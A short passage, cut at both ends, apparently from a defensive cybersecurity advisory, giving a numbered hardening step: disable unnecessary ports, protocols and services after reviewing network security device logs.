opportunistic attacks. \n\n 3. **Disable unnecessary ports, protocols, and services.** Review network security device logs and determine whether to shut off unnecessar